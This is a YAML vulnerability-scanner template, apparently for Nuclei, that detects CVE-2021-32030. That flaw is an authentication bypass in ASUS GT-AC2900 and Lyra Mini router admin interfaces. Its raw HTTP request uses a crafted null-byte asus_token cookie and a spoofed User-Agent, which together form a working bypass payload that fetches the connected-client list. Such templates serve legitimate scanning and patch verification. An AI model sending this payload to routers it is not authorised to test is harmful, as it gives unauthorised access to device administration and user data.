id: CVE-2021-32030

info:
  name: "ASUS GT-AC2900 - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 and Lyra Mini before 3.0.0.4_384_46630 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-32030&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=asus&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cve-id: CVE-2021-32030
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: asus,auth-bypass,cve,cve2021,kev,router,vkev,vuln

http:
  - raw:
      - |
        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
        Host: {{Hostname}}
        User-Agent: asusrouter--
        Referer: {{BaseURL}}
        Cookie: asus_token=\0Invalid; clickedItem_tab=0

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: word
        words:
          - "get_cfg_clientlist"
          - "alias"
          - "model_name"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048b0da979224dd62de1d17ff883a4ad886cd5afaa0a3536a84870a65798ad1b9022100d1c9072b4a879476e8c2e116916e8676d77049981221e3678a39d162f07bc90d:922c64590222798bb761d5b6d8e72950